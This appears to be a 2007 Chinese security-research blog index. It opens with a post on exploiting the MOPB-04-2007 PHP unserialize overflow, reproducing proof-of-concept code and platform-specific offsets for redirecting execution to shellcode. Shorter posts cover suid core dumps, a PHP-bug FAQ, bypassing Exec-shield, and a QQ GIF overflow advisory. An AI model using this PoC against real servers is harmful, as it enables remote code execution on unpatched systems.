By ph4nt0m.
Wednesday, 21. March 2007, 12:07:10
by axis
Date: 2007-03-21
就是MOPB-04-2007.php,这个漏洞的利用起来没有其他几个漏洞通用性好,但是这个漏洞的优点在于是可以远程利用的,而且这个函数用的也比较多。
SE大牛公布的POC是可以利用的,但是有几个问题需要注意下。我们先看我们比较关心的地方:
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);
$hashtable[5*4+1]=chr(0x40);
$hashtable[5*4+2]=chr(0x06);
$hashtable[5*4+3]=chr(0x08);
$hashtable[8*4+0]=chr(0x66);
$hashtable[8*4+1]=chr(0x77);
$hashtable[8*4+2]=chr(0x88);
$hashtable[8*4+3]=chr(0x99);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) {
$str .= 'i:0;R:2;';
}
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
0x08064058这里要求其内容是一个可读的地址,这个地址实际上是无所谓的,但是在不同系统里,可能不一样。所以这个地址最好选到某函数表里,其内容就是一个函数的地址。而且这个地址要求不能有什么变化。
在linux上,选用上面POC提供的地址就ok了。在win里,需要在某个进程的函数表里找个地址,如果是结合了apache,就该去apache模块的函数表里找,这种地址一般都比较固定。
接下来POC会覆盖EIP为0x99887766,很容易就控制eip了,现在难点是跳到shellcode去执行。
在这里,经过我测试,发现在windows里,ebx会指向hashtable,linux中edi会指向hashtable
所以在此可以通过jmp reg的方法,来跳转到shellcode去。
在前面定义一段shellcode
$shellcode = "\xcc"; //等等
然后,在后面把shellcode直接付在str的最后
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'.$shellcode;
经过我调试,发现在我的2003 sp1 CN上,在[ESP+68h] 处会指向shellcode
在FC2里,是 $esp+616处指向shellcode
所以,只需要把hashtable的最开始几个字符,改成 call [esp+xxx]就可以跳转到shellcode去了。
具体exp就不列到这里了。
这个漏洞看来是可以远程溢出的,比如phpbb2
By ph4nt0m.
Friday, 16. March 2007, 05:26:21
author:axis
近日在研究中遇到了linux下suid程序如何生成core dump的问题。(并不是简单的ulimit -c unlimited)
出于安全考虑,内核应该是不允许suid程序生成core dump的。
GOOGLE后找到有两个方法可以打开这个选项
针对Redhat Fedora Core 4
可以修改/etc/sysctl.conf 文件,使得
# Allows condor to create core dumps
fs.suid_dumpable = 1
或者可以使用命令
/sbin/sysctl -w fs.suid_dumpable=1
对于非FC4的linux,可以使用
echo 1 > /proc/sys/fs/suid_dumpable
对于Solaris可以使用coreadm命令,比较方便。
在这里感谢村长。
By ph4nt0m.
Thursday, 15. March 2007, 06:39:01
author: 云舒
写一个小程序时候,需要去除一个数组中的重复元素,搜索了一下,找到的代码主要是两种,一种是使用grep函数,一种是转换为hash表,代码分别如下:
使用grep函数代码片段:
Read more...
By ph4nt0m.
Thursday, 15. March 2007, 06:26:25
author axis
date:2007-03-15
这个月是Month of PHP Bugs
请参考http://www.php-security.org 以及
http://www.milw0rm.com 很多朋友疑惑PHP漏洞的利用和意义,我在这里简单写个FAQ,也希望大家可以提些建议,一起补充。
Q: Month of PHP Bugs是怎么回事?
A:Harden-PHP的Stefan Esser将在这个月发布一系列的PHP漏洞,因此本月称作:Month of PHP Bugs. 这里指的漏洞不是某个具体应用的(比如remote include、sql injection),而是从php内核的角度,针对某些函数的漏洞。
Q:PHP漏洞能提权吗?
A:PHP漏洞一般与运行的webserver紧密相关,最常见的是apache,所以一般来说,php漏洞利用成功后(比如溢出),还是webserver的权限,所以不存在提权一说,就是说原来是什么权限,溢出后就是什么权限。
Q:PHP漏洞不能提权那可以做什么?
A:可以用来绕过PHP的safemode,或者是类似的一些限制。比如这次的MOPB里,有的漏洞还可以搜索ssl的私钥,或者修改php.ini,这些都可能导致获得更大的权限。
Q: PHP漏洞的远程利用是怎么回事?
A:PHP漏洞一般是出在某个函数上,如果某些应用,比如论坛(PHPBB)用到了该函数来处理用户提交过来的数据,那么就可能是存在漏洞的,这个时候就可以远程利用该php漏洞了。否则只能本地利用。
Q: PHP漏洞好利用吗?
A:PHP+Apache的组合用的最多的是Unix类平台,比如linux和solaris等,但是在windows下也有不少。所以针对这两大类,shellcode肯定是不同的。同时有的PHP漏洞还与环境有关,比如以前的PHP的sscanf漏洞,就与文件路径有关。但有时候还是能找到比较通用的方法,在exploit的利用技术上,这里就不多做探讨了。但是对于高版本的Redhat,因为有默认开启的Exec-shield的保护,所以会让PHP溢出失败,暂时还没有什么好的办法,在浏览器地址栏调用的方式下,可以绕过这个保护的。更多的信息可以参考我写的关于Exec-shield的文章。
--EOF--
By ph4nt0m.
Tuesday, 13. March 2007, 05:24:44
author: axis
mail: axis@ph4nt0m.org
Date: 2007-03-13
From:
http://www.ph4nt0m.org http://blog.ph4nt0m.org http://groups.google.com/group/ph4nt0m摘要:
Execshield是Redhat使用的一种针对溢出的保护,其主要内容有不可执行堆栈,以及检查函数返回地址是否被覆盖等等保护措施。
Redhat在Fedora Core 2以及 Enterprise Linux 3 update 3中,开始推出该技术,以后的新版本中,都存在此种技术。这种技术的存在,使得传统的堆栈溢出在Redhat的高版本平台上的利用,变的极其困难。笔者曾对突破这种技术做过一些研究,可以参考我在一年前写的一篇文章《Bypass Exec-shield Under Redhat》(发于ph4nt0m, xfocus)。
近日在研究Stefan Esser公布的一个php漏洞的时候,查阅资料时,偶有所得,发现了一种更简单的绕过execshield的方法,于是便有了这篇小paper,也许别人也发现过这个方法,只是不屑于写而已。希望本文能起到抛砖引玉的作用。也希望能有高手出来帮我解开几个未解决的问题。
Read more...
By ph4nt0m.
Thursday, 8. March 2007, 01:17:18
by axis(axis_at_ph4nt0m.org) & luoluo_at_ph4nt0m & yunshu_at_ph4nt0m
http://www.ph4nt0m.org发现时间:2007.1.25 报告时间:2007.1.26。
摘要:
QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。在解析畸形GIF图形组件时存在缓冲区溢出漏洞,攻击者可能利用此
漏洞在用户机器使QQ崩溃造成拒绝服务。
影响版本:
QQ2007beta1以前的QQ版本。
不受影响版本:
QQ2007beta1。
Read more...